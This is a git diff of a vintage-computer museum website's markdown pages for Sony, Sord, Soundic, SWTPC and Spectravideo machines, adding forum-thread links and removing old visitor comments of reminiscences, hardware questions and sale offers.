comments: - - author: Dennis Burnham (USA) - date: Monday 24th January 2022 - text: I have a Sony SMC-70 computer in need of a startup CP/M boot disk, the 3.5" kind that goes into the A or the B drive. I know this is a call into the wilderness but I am hopeful someone can hear my cry for help. - - author: rich (raleigh, nc) - date: Friday 18th June 2004 - text: I have a brand new (NOS) one in my closet. I have a cache card and a RGB superimposer card and a few other pieces. Does anyone know where i can find software to run and info on the video port. Is the video 23 pin video port similar to Amiga? - - author: technoslave (Montreal, QC, Canada) - date: Thursday 25th July 2002 - text: |- - Graphics the Hard Way - - I came across the SMC 70G computer when I was in College in 1993 here in Montreal. The SMC 70G, commonly referred to as "The Genlocker" (the same term was used to describe a person who dared use it -- "Genlocker", "Genlock Guy") was used in the TV studio to do titling, superimpose text, credits and graphics over various productions in news or television. - - The two programs mainly used were Video Titler and Sony GrEdit graphics editor. I spent most of my college years designing graphics for these student productions. The titling program allowed for scrolling credits and was fairly easy to use, with 5 fonts and 5 sizes per font. - - The GrEdit program for graphics was enough to drive any Photoshop or mouse driven graphic artist up the walls. It offered a strange color pallete with two shades of pink and beige, and though there was a electronic pen available for this machine, it could never really hit a pixel even in its general pointing vicinity. - - The Interface of GrEdit was much like the ANSi program "TheDraw" on the PC, allowing you to cycle through a menubar that could display 5 available commands at a time, but I mainly used this to Save or Load graphics. All the commands on this toolbar were truncated to 5 characters, so it was always an exploration to find out what "this one does". - - The numbers on the keyboard each corresponded to a color, making some colors available using keyboard letters ("Y"ellow, for instance). There was, of course, a pre-determined color which onced piped through to a video signal would be "transparent", much like specifying the matte color on a transparent GIF. Using the arrow keys, you moved the crosshair cursor to the desired location, then punched a color. Though there were functions for squares and ellipses, these took too long to do/undo until you got the right sizes, so I would do them manually. - - I still have some diskettes of several GrEdit files, but since I've graduated from the college, the TV studio is no more, and I've heard that the two SMC 70Gs that were there were simply thrown away, along with countless videotapes of student productions. - - Though I grieve the loss of the productions gone to the trash, to this day, I'm still hoping for somekind of emulator to be able to read and convert my GrEdit artwork to a more standard format. All I've got is a viedotape slideshow of a few news corners and production title screens. - - Though I do not miss it much, the Genlocker gave me an opportunity to experience what could have been the last of forced-minimalist computer graphics, and I was glad that I could join the ranks of those who struggled on a pixel-by-pixel basis. + forum_thread: 290 oc_id: 280 source: url: https://web.archive.org/web/20230601080910/http://www.old-computers.com/museum/computer.asp?c=280 diff --git a/content/museum/sony-smc-777-777c.md b/content/museum/sony-smc-777-777c.md index d9a13403..c4f0523b 100644 --- a/content/museum/sony-smc-777-777c.md +++ b/content/museum/sony-smc-777-777c.md @@ -11,6 +11,7 @@ params: - photos - adverts - hardware + forum_thread: 317 photos: - title: CLOSE UP subtitle: '' diff --git a/content/museum/sord-is-11.md b/content/museum/sord-is-11.md index b2946b8e..2d486284 100644 --- a/content/museum/sord-is-11.md +++ b/content/museum/sord-is-11.md @@ -65,6 +65,7 @@ params: - adverts - hardware - links + forum_thread: 225 photos: - title: SYSTEM subtitle: '' @@ -185,28 +186,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Bruce Thomson (Tokyo, Japan) - date: Monday 24th September 2012 - text: |- - I was in charge of the Japanese word processor development for the IS-11. We had to make our own Japanese Kanji character font ROM, and our own Japanese dictionary to be used in parsing sentences and automatically converting to Kanji characters.\ - The operating system had an API for displaying Kanji, but it was too slow so we always accessed the hardware directly. - - author: Kurt Bihler (Joliet, IL USA) - date: Saturday 20th November 2010 - text: |- - I worked at SORD Computer in the 1980''s in the USA, then in Japan at their factory in Kemegawa, Chiba Prefecture. - - I did some development in Z80 Assembler on the IS-11 and IS-11C. - - I wish I still had one. It was far more advanced than the Epson, or Radio Shack portables of the time. None of the US computer magazines ever spent the time to learn just how powerful and far ahead of the competing units it really was. PIPS was amazing. - - author: Jörgen Svensson (SE) - date: Wednesday 10th November 2010 - text: |- - I have an IS-11, which is actually working, even though the casette recorder is a bit sensitive regarding how and when the recording took place, it can be hard to read from an old tape..\ - I also got the I-BASIC cartridge, together with it''s manual, and in the manual that is claimed to be Microsoft Basic compliant! It is working really great though! :)\ - I have also a WordProcessor cartridge, which is working great as well.\ - I am looking for the System development manual, since I was playing with the thought of using this as a controlling unit for an old plastic Robot-arm I bought about 20 years ago... I will try to scan the I-Basic manual to make it available on the web, if someone is interested...\ - So Keep up the good work and keep the old systems running!! related: - /museum/sord-is-11c oc_id: 215 diff --git a/content/museum/sord-is-11c.md b/content/museum/sord-is-11c.md index 9db889c1..b5622c36 100644 --- a/content/museum/sord-is-11c.md +++ b/content/museum/sord-is-11c.md @@ -63,6 +63,7 @@ params: - adverts - hardware - links + forum_thread: 475 photos: - title: CLOSED subtitle: '' @@ -82,10 +83,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: leskovez (Russia) - date: Sunday 30th March 2014 - text: If someone owns the laptop let me know. Laptop needed for the museum of computer technology. leskovezATmail.ru related: - /museum/sord-is-11 oc_id: 481 diff --git a/content/museum/sord-m-100ace.md b/content/museum/sord-m-100ace.md index b22ae0eb..b7841d65 100644 --- a/content/museum/sord-m-100ace.md +++ b/content/museum/sord-m-100ace.md @@ -65,6 +65,7 @@ params: tabs: - photos - adverts + forum_thread: 772 photos: - title: LEFT SIDE subtitle: '' @@ -167,20 +168,6 @@ params: Thanks to **Tim Mackay** image: /media/museum/pubs/sord_m100ace_brochure_2.jpg - comments: - - author: Tim Mackay (Melbourne, Australia) - date: Wednesday 13rd January 2010 - text: |- - Still interested in the SORD M100, changed email address.\ - Still "SMUG" - - author: Tim Mackay (Melbourne, Australia) - date: Wednesday 13rd January 2010 - text: |- - Still interested in the SORD M100, changed email address.\ - Still "SMUG" - - author: Tim Mackay (Melbourne, Australia) - date: Sunday 26th October 2003 - text: Anyone got a Sord M100 Ace? please let me know. they are still interesting to play with. Did you once have a SORD? Still like to know. oc_id: 791 source: url: https://web.archive.org/web/20230604044041/http://www.old-computers.com/museum/computer.asp?c=791 diff --git a/content/museum/sord-m-170.md b/content/museum/sord-m-170.md index 8e363586..1e4f2ea5 100644 --- a/content/museum/sord-m-170.md +++ b/content/museum/sord-m-170.md @@ -63,6 +63,7 @@ params: tabs: - photos - adverts + forum_thread: 463 photos: - title: M110 BLOC DIAGRAM subtitle: '' @@ -80,21 +81,6 @@ params: subtitle: '' text: Thanks to **Tim Mackay** image: /media/museum/pubs/sord_m170_pub_1.jpg - comments: - - author: EPROM 9 (England) - date: Monday 8th August 2011 - text: If it went in the skip at school, I took it despite being told not to. I still save computers and electronics from skips today. I would have taken all the machines and stashed them away salfly so I could take them home at a later date - - author: Tim Mackay (Australia) - date: Saturday 25th October 2003 - text: |- - Where is the landfill? - - Such is the lot of 99% of computers ever made. - - Even the awesome ones. - - author: Mark P (bangor, uk) - date: Friday 5th April 2002 - text: this machine looks suspiciously like something that was among a whole stack of vintage machines my high school had... and then unceremoniously dumped in a skip one day to be taken for landfill! shame on them! no protest or suggestion of sale to museum could stop it.. fools oc_id: 469 source: url: https://web.archive.org/web/20230608210900/http://www.old-computers.com/museum/computer.asp?c=469 diff --git a/content/museum/sord-m-5.md b/content/museum/sord-m-5.md index 98b8bdda..84b5966e 100644 --- a/content/museum/sord-m-5.md +++ b/content/museum/sord-m-5.md @@ -72,6 +72,7 @@ params: - software - emulators - links + forum_thread: 227 photos: - title: ORIGINAL VERSION subtitle: '' @@ -327,67 +328,6 @@ params: - title: Your Computer review url: http://www.gondolin.org.uk/hchof/reviews/yc-sordm5.html text: This Sord M5 is dated from 1982 - comments: - - author: john clark (uk) - date: Sunday 9th June 2019 - text: This was a real dream machine for me. I always used to go to the local department store and poke around on it whenever I could. I couldn''t afford one at the time but was always intrigued by its styling and the fact it had a PooYan cart :D It''s only now, many years later, that I have one of these beauties and combined with the sord m5 multi multicart (M5Multi-II) I can finally experience the machine in full. I''m not disappointed! - - author: milanfico@yahoo.com - date: Tuesday 10th September 2013 - text: ..my sord m5 is still in regular operation. My father bought it in 1986 in Tuzex. Brings memories. ..Milan from Bratislava. - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site - - author: Junho (Seoul/Korea) - date: Wednesday 30th March 2011 - text: |- - Sord M5 was released from Gold Star Electronics (now LG) early 1980. Model number is FC-150. (FC means Family Computer) - - I still have one in my home. Some of rubber keyboard is broken now but when I booted last time (10 years ago?) it works basically. I played a lot with this machine and later I know this was same model of M5. I bought BASIC-G and F. Interesting thing is there was BASIC-H (Korea only - can input/output Korean characters) and a series of English education software released as tape running on Basic-H. - - Gold Star released a couple of game cartridges from Konami and Namco and even there is a game ported from MSX1! - - It was my first PC and had a good time with it. - - author: Hercules Gunter (Australia) - date: Sunday 16th May 2010 - text: |- - I still have my Sord M5. I have to confess that I loved this little machine. What distinguished it from other machines was:\ - \- a version of BASIC which allowed proper variable names, subroutine names and labels (gosub TargetSprite is so much easier to understand than gosub 150)\ - \- astounding speed because of the clever semi-compilation of code which meant that a variable or a label address was looked up once and then referenced directly\ - \- interrupt-driven programming, which removes so much code bulk and tedium - - The only down side for me was the small keyboard size. The joypads were different from the usual joystick, but I found that I preferred them. The small memory size was ameliorated by the efficiency of the interrupt-driven model, although one could always have used more (still true today!). - - author: V_dur (Vladimir) (Bratislava - Devin, Slovakia) - date: Thursday 27th November 2008 - text: |- - Ahoj - Hello!\ - I am an owner of Sord M5 - it i was my first "PC" and I loved it very much! But now I decide to sold this nice machine to someone who will love it more than me (I need money)... - - author: Francisco Martín (Madrid (Spain)) - date: Saturday 25th October 2008 - text: |- - Hello Christian, there are many other emulators you could try, like Takeda, Sordemu and M5.\ - In my country (Spain) this was a very strange machine, but one of my friends (only one) had one of this machines. He really loved the M5, more than he loved his C64.\ - No one of the people I have been meeting with the passing of time, owned another Sord M5, so this will let you to know how strange was the machine in my country.\ - As it has been told, in many ways this is a MSX Machine (the same processor, the same graphics capabilities...) I think if it can''t be called MSX should be called MS 5.\ - Greetings from Spain. - - author: Jesper (Denmark) - date: Wednesday 13rd April 2005 - text: |- - Wooow... this brings back many memories. We bought an M5 in our home in 1982 when I was 10 yrs old. I started programming mainly with the Basic G module, but we also had and used the spreadsheet module FALC, which isnt mentioned anywhere. We had tons of games on tapes, and we had the floppydrive with 3" discs in solid plastic :)\ - My parents still have it stowed away in a box, and I enjoy bringing it to life once in a while. Today I am a web devleoper on a technical college, and I have my own web-solution business as well - all thanks to the SORD M5. - - author: K5 (Roman Stec) (Czech Republic, Kladno) - date: Tuesday 11th June 2002 - text: 'The PC emulator exists: MESS knows many old machines including SORD M5. More: http://www.mess.org/' - - author: Christian (Sweden) - date: Wednesday 17th April 2002 - text: |- - Dang, I miss my M5. Anyone in the Sweden region who has one for sale? - - Or is there an emulator outthere? - - /Chris oc_id: 217 source: url: https://web.archive.org/web/20230608163421/http://www.old-computers.com/museum/computer.asp?c=217 diff --git a/content/museum/sord-m-68-m-68-mx.md b/content/museum/sord-m-68-m-68-mx.md index 433892f9..331abdd8 100644 --- a/content/museum/sord-m-68-m-68-mx.md +++ b/content/museum/sord-m-68-m-68-mx.md @@ -60,6 +60,7 @@ params: value: Unknown - label: PRICE value: Unknown + forum_thread: 228 oc_id: 218 source: url: https://web.archive.org/web/20230605043638/http://www.old-computers.com/museum/computer.asp?c=218 diff --git a/content/museum/sord-m203-mark-ii.md b/content/museum/sord-m203-mark-ii.md index ee826930..26cbcf91 100644 --- a/content/museum/sord-m203-mark-ii.md +++ b/content/museum/sord-m203-mark-ii.md @@ -63,6 +63,7 @@ params: tabs: - photos - adverts + forum_thread: 226 photos: - title: SORD M203 subtitle: '' diff --git a/content/museum/sord-m223-series.md b/content/museum/sord-m223-series.md index 7219678a..766658ae 100644 --- a/content/museum/sord-m223-series.md +++ b/content/museum/sord-m223-series.md @@ -78,6 +78,7 @@ params: - photos - adverts - hardware + forum_thread: 229 photos: - title: LARGE VIEW subtitle: '' @@ -146,48 +147,6 @@ params: subtitle: '' text: The 8" hard drive is enclosed into a tinted plastic case image: /media/museum/hardware/sord_m223mk6_insidehd_1.jpg - comments: - - author: Xavier (Spain) - date: Sunday 9th February 2014 - text: |- - I don''t have any space to keep anymore my Sord 223 mark III. - - I put it in ebay...if you want to see the photos, there are 10. - - Kind Regards - - author: Peter Ingram (UK) - date: Monday 9th January 2012 - text: I have an M223 in my loft. Has it any value ? - - author: Roelof Beverdam (Enschede) - date: Monday 31st July 2006 - text: |- - Dear Know1,\ - There is no such thing as built-in commands in Sord OS, so all commands are programs on the disk as PROG.SAV files. You might list the directory contents of a disk to a printer using device files (also present on the disk, with zero length) like this:\ - LIST/A SOUTA/L/1\ - meaning:\ - LIST/a = list ALL files (incl. hidden)\ - SOUTA/L/1 = send output to SOUTA in Mode 1\ - (SOUTA and SOUTB are serial ports;\ - you speciafy which one to receive output;\ - Mode 1 means: as line terminator;\ - /L means: this is the list output device, if\ - you omit the /L then the filename will be\ - interpreted as the file you wish to get the\ - information about.) - - It greatly depends on the programs on your disks to decide about what more useful things could be done.\ - Further note: none of the programs have built-in help because of the small amout of disk space in those days. - - Hope this helps a bit...\ - Success! - - author: Know1 (Tasmania, Australia) - date: Saturday 1st November 2003 - text: |- - I have one of these I picked up. No idea how to do anything on it though.\ - There is a list command that will give me a directory of the disk but anything else return the unhelpful\ - FILE NOT FOUND or ILLEGAL FILE NAME - - Any ideas? oc_id: 219 source: url: https://web.archive.org/web/20221205122746/http://www.old-computers.com/museum/computer.asp?c=219 diff --git a/content/museum/sord-m23-mark-iii.md b/content/museum/sord-m23-mark-iii.md index d909214d..4be0c9ab 100644 --- a/content/museum/sord-m23-mark-iii.md +++ b/content/museum/sord-m23-mark-iii.md @@ -61,6 +61,7 @@ params: tabs: - photos - adverts + forum_thread: 222 photos: - title: COMPLETE SYSTEM subtitle: '' @@ -82,47 +83,6 @@ params: subtitle: '' text: '' image: /media/museum/pubs/sord_m23-markiii_pub_datronic.jpg - comments: - - author: Candice (France) - date: Monday 21st September 2020 - text: How does it cost ? I find this computer at my house - - author: Candice (France) - date: Monday 21st September 2020 - text: J''ai retrouvé un ordinateur identique à celui ci dans mon grenier. Une idée de combien ça vaut ? - - author: David (UK) - date: Tuesday 10th December 2019 - text: SORD was imported into the UK by Exleigh Business Machines (EBM) of Penzance. A small number of machines were re-exported to Cyprus. There is further information on SORD, mainly M5, on this page http://www.binarydinosaurs.co.uk/Museum/Sord/index.php - - author: Simon (New Zealand) - date: Tuesday 11th July 2017 - text: I worked for Broadlands Finance (NZ) in the early ''80s. Broadlands acquired a small number of SORD''s and had a simple programme written to assist with the promotion of repayment insurance for dealer written HP agreements. I smuggled the Christchurch machine home and over many nights nutted out how to programme the PIPS platform to do stuff that was really useful for the business! First and very fond memory of harnessing this brave new technology!! - - author: Gerry (New Zealand) - date: Tuesday 21st July 2015 - text: |- - I used a Sord for several years for work. The PIPS_III spreadsheet would do something in one operation that Excel still won''t - Sort and Sub total in one operation.\ - I think the spreadsheet was ahead of its time.\ - My boss bought it in Singapore where we had business interests.\ - Eight years ago when moving and downsizing I reluctantly gave away two Sord models - one with 5.25 and the other an 8 inch disc and all the manual etc.\ - There never were any good old days but I think nostalically about my Sord my first computer.\ - Gerry - - author: Pecoramatta (Italy) - date: Saturday 4th October 2014 - text: The price in Italy was Lire 4,900,000 + IVA (14$?) in 1982 (found in an old computer magazine ad), about 5 months of salary of an employee at the time. - - author: Shane Doyle (Australia) - date: Tuesday 17th July 2012 - text: I remember writing all this software for an Insurance Agent I knew, who had one of these Sord M23''s. Can''t remember which variant it was now. Anyway, he ran his agent business on this machine with the apps I wrote for him. - - author: Lorna (New-Zealand) - date: Wednesday 11th July 2007 - text: |- - I still have one. I've just dragged it down from the attic!\ - It was still able to go when packed away, not sure I have any discs for it. - - I remember that it had a great pacman game - - author: Richard (Sparta New Jersey) - date: Friday 20th April 2007 - text: |- - I am looking for someone who can copy and printout\ - the programs for a reel to reel tape made in 1979 and ran on the GE timeshare Mark III computer. The\ - programs are in fortran 77 and the out put is in ascii. I would like to have the programs converted for use on PC or unix machines. Please e-mail reply oc_id: 212 source: url: https://web.archive.org/web/20230605043337/http://www.old-computers.com/museum/computer.asp?c=212 diff --git a/content/museum/sord-m343.md b/content/museum/sord-m343.md index b9e6934a..60fffbd8 100644 --- a/content/museum/sord-m343.md +++ b/content/museum/sord-m343.md @@ -60,10 +60,7 @@ params: value: Built-in PSU - label: PRICE value: Unknown - comments: - - author: Chee-Meng Soh (Malaysia) - date: Wednesday 4th January 2006 - text: I've seen one of these in use at a Meteorological Center in Malaysia (in the late 80's). The drives were 8" floppy drives. + forum_thread: 230 oc_id: 220 source: url: https://web.archive.org/web/20221205120747/http://www.old-computers.com/museum/computer.asp?c=220 diff --git a/content/museum/soundic-sd-290-programmable-colour-video-game.md b/content/museum/soundic-sd-290-programmable-colour-video-game.md index 7a736ee7..26ca2709 100644 --- a/content/museum/soundic-sd-290-programmable-colour-video-game.md +++ b/content/museum/soundic-sd-290-programmable-colour-video-game.md @@ -60,6 +60,7 @@ params: - photos - links - docs + forum_thread: 1259 photos: - title: SD-290 subtitle: '' diff --git a/content/museum/soundic-victory-mpt-02.md b/content/museum/soundic-victory-mpt-02.md index 0af83b4f..0a8ccba0 100644 --- a/content/museum/soundic-victory-mpt-02.md +++ b/content/museum/soundic-victory-mpt-02.md @@ -12,6 +12,7 @@ params: - software - emulators - links + forum_thread: 1188 photos: - title: VICTORY HOME TV PROGRAMMER subtitle: '' @@ -86,29 +87,6 @@ params: - title: The RCA Studio 2 Emulator Home Page url: http://www.classicgaming.com/studio2/ text: Emulators, game downloads, technical information and more! Excellent. - comments: - - author: demonoidtentacle (Australia) - date: Monday 5th December 2011 - text: '@rabih, The MPT-02 usually sell VERY cheap, as they are regarded as an undesirable system. Untested they go for about $10, working with spacewar intercept go for around $20, that''''s including the box. They pop up every now and again in garage sales.' - - author: rabih (australia) - date: Saturday 20th November 2010 - text: |- - hi\ - can anyone tell me what my victory Soundic Victory MPT-02 system complete with sapcewar intercept is worth,\ - i havent actually tested it yet - - author: Laurie (Melbourne, Australia) - date: Tuesday 13rd April 2010 - text: |- - We got this back in 1978 too, and we thought it was the best thing ever! On a trip to Singapore a year later we managed to buy most of the cartridges (e.g. Baseball, Speedway/Tag, Pinball, etc.). We played the 4 built in games over and over again - especially the Bowling, and loved making patterns and doodles with ''Patterns'' and ''Doodle''! I remember being able to get simple colour screens too? My friend at the time had the same machine but it wasn''t a ''Victory'' it was a ''Sheen''. - - Anyway we sold it in the early 80s (and ''upgraded'' to a Dick Smith Wizzard which I still have), but I recently managed to buy one again, which still works well (but with only a few cartridges - wish I had kept my original ones). - - author: Mark (Melbourne, Victoria, Australia) - date: Monday 19th March 2007 - text: |- - WoW!\ - when dad bought one of these in 1978 we thought we were in heaven! Pretty blue screen on some games!!.Those joysticks were paethietic though!!!...I recall playing 'blackjack' for hours....that was the best game on there!!!\ - And it was actually programable, to an extent;..you could get it to draw some incredible, albeit uncontrollable, graphics!!\ - Mark. related: - /museum/mustang-9016-telespiel-computer - /museum/rca-studio-ii diff --git a/content/museum/soundicvision-sd-200.md b/content/museum/soundicvision-sd-200.md index 03c61709..4d69287d 100644 --- a/content/museum/soundicvision-sd-200.md +++ b/content/museum/soundicvision-sd-200.md @@ -12,6 +12,7 @@ params: - software - links - docs + forum_thread: 809 photos: - title: SOUNDIC SD-200 subtitle: '' @@ -72,13 +73,6 @@ params:  source : [Iza-Ware](http://izaware.blogspot.com/) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Tapani Kinnari - date: Friday 21st August 2015 - text: Mulla olis soundic sd200 yx ohjain ja 7 pelii - - author: Mika Mäkelä (Helsinki, Finland) - date: Wednesday 19th January 2005 - text: Could somebody sell me a working hand controller or new machine (my old hand controller is broken). I'm also looking for cartridges pc202 & pc 203. related: - /museum/hanimex-hmg-7900 - /museum/itmc-sd-290 diff --git a/content/museum/south-west-technical-products-corporation-6800.md b/content/museum/south-west-technical-products-corporation-6800.md index f4739d49..5aee5648 100644 --- a/content/museum/south-west-technical-products-corporation-6800.md +++ b/content/museum/south-west-technical-products-corporation-6800.md @@ -64,6 +64,7 @@ params: - hardware - emulators - links + forum_thread: 558 photos: - title: INSIDE SWTPC 6800 subtitle: '' @@ -178,35 +179,6 @@ params: - title: SWTPC information page url: http://www.swtpc.com text: All that you always dreamed to know about SWTPC 6800/6809 - comments: - - author: Joe Mc (UK) - date: Monday 15th June 2020 - text: I first came across a SWTP 6800 when my Uncle (who ran a building firm) decided to buy one to "to the accounting and payroll". They quickly figured out they needed someone who could "drive" a computer. As they knew I had a Sinclair ZX81, at 17 I was introduced to this SWTP - the heart of a specifically written (in Basic) builders payroll and accounting system - named "FBS" (Franklin Builders System). The main system unit had an external disk enclosure (2 x 8" floppy disks), a Terminal with keyboard and finally an Epson MX80 dot matrix tractor printer. I was quickly able to use this SWTP for the payroll (70+ employees) and as a result, two part time clerks were let go, as their roles were consumed by the SWTP! (A harbinger of things to come?). I was running most office functions on this PC, payroll, job costing, orders, accounts payable, balance sheet, other ledgers. All on a single 8" floppy disk! I started writing programs (in BASIC) of my own, one was to automatically "pay" invoices - when a cheque was entered. The original program laboriously presented you with one invoice after another and asked "would you like to pay this"? I even managed to used Basic commands to invent a new "graphical" character set to make the menus bigger and more interesting. You could see each character being quickly drawn! Ah, Happy days. - - author: Geoff Rutledge (California) - date: Friday 13rd July 2018 - text: While in medical school in 1978, I bought and built a SWTPC 6800, with CPU, SS-50 bus, and 4k static ram card. Couldn''t afford an ASCII kbd ($$300!) and had no display - so a friend retrieved a Burroughs 32 character Plasma display (Ascii parallel interface) and a kbd removed from a pulp and paper mill - but it had 5-bit Hollerith-encoded outputs. Rewrote the monitor in EPROM to do the kbd code translation to ascii, and to make display on the 32 character display work. Later added a custom board to do file read/write to tape, based on software that directly drove an op amp connected to the audio-in of a stereo cassette deck. Had to add a 1 MHz crystal to the board (replaced the RC circuit) - Then added a board that mapped memory to an 80 x 24 character monochrome video display, and a massive 16kb dynamic memory board. Then with tiny basic (3.95kb), was able to program to heart''s content. It played star trek too. - - author: David Monnier (Indianapolis, In) - date: Wednesday 15th November 2017 - text: I worked with a brilliant engineer named Charlie Moore at a GM plant doing manufacturing R$D. When micros came out we wanted to experiment with one to see how it worked. Our IT people had to approved any computer purchase. They refused, claiming any micro was a toy and unusable in business. We called SWTP and told them our purchasing dept was sending them a RFQ for a "machine controller". They were to quote $395 and when a purchase order came in, ship the 6800 Kit always calling it a "machine controller" in all correspondence. We hooked it to an old ASR-33 teletype machine and later a tape recorder (Kansas City Std) By the time IT found out we had it, we were building a 16 channel high speed data acquisition system for our Detroit Diesel Test Dept for $71K that DEC could not touch for under $500K. Charlie wrote software and I designed hardware. Charlie was using an assembler he bought from a tiny startup named "Microsoft". Several times I answered the phone and the voice at the - end asked, " Is Charlie Moore there? This is Bill Gates." - - author: Dave Kolstedt (USA) - date: Tuesday 25th October 2011 - text: I was 16 back in 1976 and had fallen in love with computers after using teletype programs in Basic attached to modems with acoustic couplers to mainframes. Our high school had an Altair but I decided to buy the SWTPC6800. I was working as a dishwasher for $1.40 an hour and it took about five months to save for the kit and then it was another couple of months to solder everything together to get it to work. I did get it to work and still have my old system although I haven''t started it in years. I ended up working in IT for most of my career and it all started with this system. - - author: Bruce W. Roeser (Deland, Florida) - date: Monday 31st October 2005 - text: |- - The SWTPC 6800 was the first "real" microcomputer I ever saw. A friend had one at his apartment in Tampa back in 1978. I went over to his place to see it - and after playing with it for awhile I knew what I was going to do for a living from then on! - - Here it is, 27 years later and I'm still writing code as a Senior Software Engineer. I still enjoy doing this however the "romance" that was present in those days is not quite the same. Writing BASIC on that SWTPC was about as absorbing a pastime as I've ever experienced - what a memory! - - -Bruce - - author: Leo Hermacinski (Boston USA) - date: Sunday 2nd January 2005 - text: |- - Nice to see this machine again after 25+ years. I was an avid reader of Byte in the mid-late 70's and got my grandfather to donate an SWTPC 6800 to my highschool just so I could build it and play with it. - - Taught myself assembler from the Motorola documnentation and learned the basics of operating systems by studying the Mikbug code. Those were the days! related: - /museum/south-west-technical-products-corporation-s-09 - /museum/south-west-technical-products-corporation-s-plus diff --git a/content/museum/south-west-technical-products-corporation-s-09.md b/content/museum/south-west-technical-products-corporation-s-09.md index daac3d70..922eac38 100644 --- a/content/museum/south-west-technical-products-corporation-s-09.md +++ b/content/museum/south-west-technical-products-corporation-s-09.md @@ -60,6 +60,7 @@ params: - adverts - emulators - links + forum_thread: 553 adverts: - title: 1979 ADVERT subtitle: '' diff --git a/content/museum/south-west-technical-products-corporation-s-plus.md b/content/museum/south-west-technical-products-corporation-s-plus.md index 3bf4147e..c10172fb 100644 --- a/content/museum/south-west-technical-products-corporation-s-plus.md +++ b/content/museum/south-west-technical-products-corporation-s-plus.md @@ -52,6 +52,7 @@ params: value: Uniflex tabs: - links + forum_thread: 71 links: - title: SWTPC information page url: http://www.swtpc.com diff --git a/content/museum/spectravideo-sv-318.md b/content/museum/spectravideo-sv-318.md index 57ee609a..581ebae8 100644 --- a/content/museum/spectravideo-sv-318.md +++ b/content/museum/spectravideo-sv-318.md @@ -66,6 +66,7 @@ params: - hardware - emulators - links + forum_thread: 237 photos: - title: FRONT VIEW subtitle: '' @@ -151,24 +152,6 @@ params: - title: Roger's Spectravideo page url: http://www.samdal.com/spectravideo.htm text: The best site about Spectravideo. You want to go there ! - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site - - author: Stamatis (Athens, Greece) - date: Saturday 20th August 2011 - text: My very first computer I got about 25yrs ago. I rember my dad preparing and saving moey for months to buy this as a present. Still have it, with the original tape . - - author: Antonio (Almeria) - date: Wednesday 12th May 2004 - text: 'My first computer, Microsoft Basic very easy and friendly, very compatible with MSX Basic. Sprites, graffics and sounds commands the best. The worst: poor documentation and high resolution color mix bug. Cost: 299 € (1984) + "necessary" accessories (games, joy, cassette)' - - author: Antonis (Athens, Greece) - date: Saturday 26th January 2002 - text: |- - This was my first computer, at very young age..\ - I have it till now, with the original box and manuals and it's still working! related: - /museum/spectravideo-sv-328 oc_id: 227 diff --git a/content/museum/spectravideo-sv-328.md b/content/museum/spectravideo-sv-328.md index 1f543765..9180aff0 100644 --- a/content/museum/spectravideo-sv-328.md +++ b/content/museum/spectravideo-sv-328.md @@ -64,6 +64,7 @@ params: - hardware - emulators - links + forum_thread: 238 photos: - title: SVI-328 subtitle: '' @@ -116,64 +117,6 @@ params: - title: Roger's Spectravideo page url: http://www.samdal.com/spectravideo.htm text: The best site about Spectravideo. You want to go there ! - comments: - - author: Giacomo (Italia) - date: Wednesday 8th January 2020 - text: How much did it cost when it was released? - - author: David Otter (New Zealand) - date: Tuesday 20th September 2016 - text: SVI-609 (SVI-605 with 10MB harddisk), - - author: LS120 (New Zealand) - date: Monday 19th September 2016 - text: |- - I have a large amount of SVi $ 738 Info, software $ games.. - - also have 318,328 mk2, 738 that i am upgrading to msx2 (easy) - - have alot of game manuals also if needed.. - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site - - author: Claus (Sweden) - date: Thursday 9th August 2012 - text: 'HI. Anyone can supply me with a Scanned manual of TELEBUNNY, it was a game for Spectravideo at tape, I was also released at MSX as rom cartrigde. I need the manual for the game, I actually converted/ported the game to Memotech MTX :) mail me please: cbpwr@hotmail.com' - - author: Vincent (Belgium) - date: Thursday 5th May 2011 - text: |- - You mention that the SV-328 was the successor of the SV-318 and this is NOT true. Both models were sold at the same time, the 328 being sold as a higher class model than the 318 (more RAM, better keyboard ...). - - FYI, I bought my 328 in June 1984 for the price of 24.995 BEF (620€). - - author: Vincent (Belgium) - date: Wednesday 4th May 2011 - text: At the end of 1983, I was looking to buy my first home computer. I read almost every magazine there was to make my choice. Spectravideo ran ads in several french magazines saying that their computers were MSX compatible, and I fell for it. I bought a SV-328 and quickly understood that they were not MSX compatible. Several months later, I managed to strike a deal with the belgian importer (who had nothing to do with the ads in the french magazines) to exchange it for a true MSX ... - - author: Tony Cruise (Australia) - date: Monday 11th April 2011 - text: Definitely only had floppy drives available from Spectravideo themselves. I fired mine up again for the 1st time in many years and it is still working (the 328 MKII, the expansion units lights come on and the drives spin but no boot sequence or seek). - - author: Z80user (Spain) - date: Tuesday 24th August 2010 - text: 601B superexpander no have space inside to $ a big hard disk. I have one, only hace a floppy disk drive, centronis interface and 6 expansion slot. transformer and big motherboard, but no all have a hard drive drive, and less a hard drive. - - author: Jose Luis (Spain) - date: Friday 3rd July 2009 - text: This was my first computer, MkII model with RF-mod, a color tv, cassete (very good functionality) and some catridge games. Later I added the expansion unit seen on image, a 80 column card and a monochrome monitor, I used it for basic $ cobol pratice. Unfortunately had to sell it to buy the newest Atari 520ST :( - - author: Colossus (Spain) - date: Friday 26th September 2003 - text: |- - Hi! - - You only mention the "SVI-777" disk drive, in peripherals section. - - I've recently purchased an SV-328, and it came with a "SVI-904 Data Cassette" (wich works perfectly with it). - - First Edition date in the manual is 1983, Hong Kong. Copyright is 1984 Spectravideo International Limited. - - This unit looks very similar to the "SVI-767" shown in your SVI-728 page. - - Hope this proved to be of any interest... - - Regards. related: - /museum/spectravideo-sv-318 oc_id: 228 diff --git a/content/museum/spectravideo-svi-728.md b/content/museum/spectravideo-svi-728.md 